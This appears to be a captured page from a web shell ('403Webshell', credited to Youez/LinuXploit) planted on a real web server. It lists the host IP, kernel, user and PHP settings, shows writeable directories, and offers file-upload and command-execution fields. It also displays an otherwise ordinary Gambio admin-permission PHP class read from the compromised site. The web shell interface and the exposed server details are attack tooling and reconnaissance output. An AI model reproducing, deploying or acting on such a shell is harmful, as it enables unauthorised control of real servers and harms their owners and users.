403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/admin_menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/admin_menu/AdminPermSource.inc.php
<?php
/* --------------------------------------------------------------
   AdminPermSource.inc.php 2014-07-17 gambio
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2014 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class AdminPermSource {

  var $v_permission_structure_array = array();

  function init_structure_array( ){
    $this->v_permission_structure_array = array();
    $query = xtc_db_query("SELECT * FROM admin_access");
    while($row = xtc_db_fetch_array($query)){
      $this->v_permission_structure_array[] = $row;
    }
  }
  
  function get_permissions( $p_customers_id ){
    foreach($this->v_permission_structure_array AS $t_key => $t_customer){
      if($t_customer['customers_id'] == $p_customers_id){
        return $t_customer;
      }
    }
  }
  
  function is_permitted( $p_customers_id,  $p_admin_page ){
    $p_admin_page = str_replace(".php", "", $p_admin_page);
    foreach($this->v_permission_structure_array AS $t_key => $t_customer){
      if($t_customer['customers_id'] == $p_customers_id && isset($t_customer[$p_admin_page]) && $t_customer[$p_admin_page] == 1){
        return true;
      }
    }
    return false;
  } 
}

Youez - 2016 - github.com/yon3zu
LinuXploit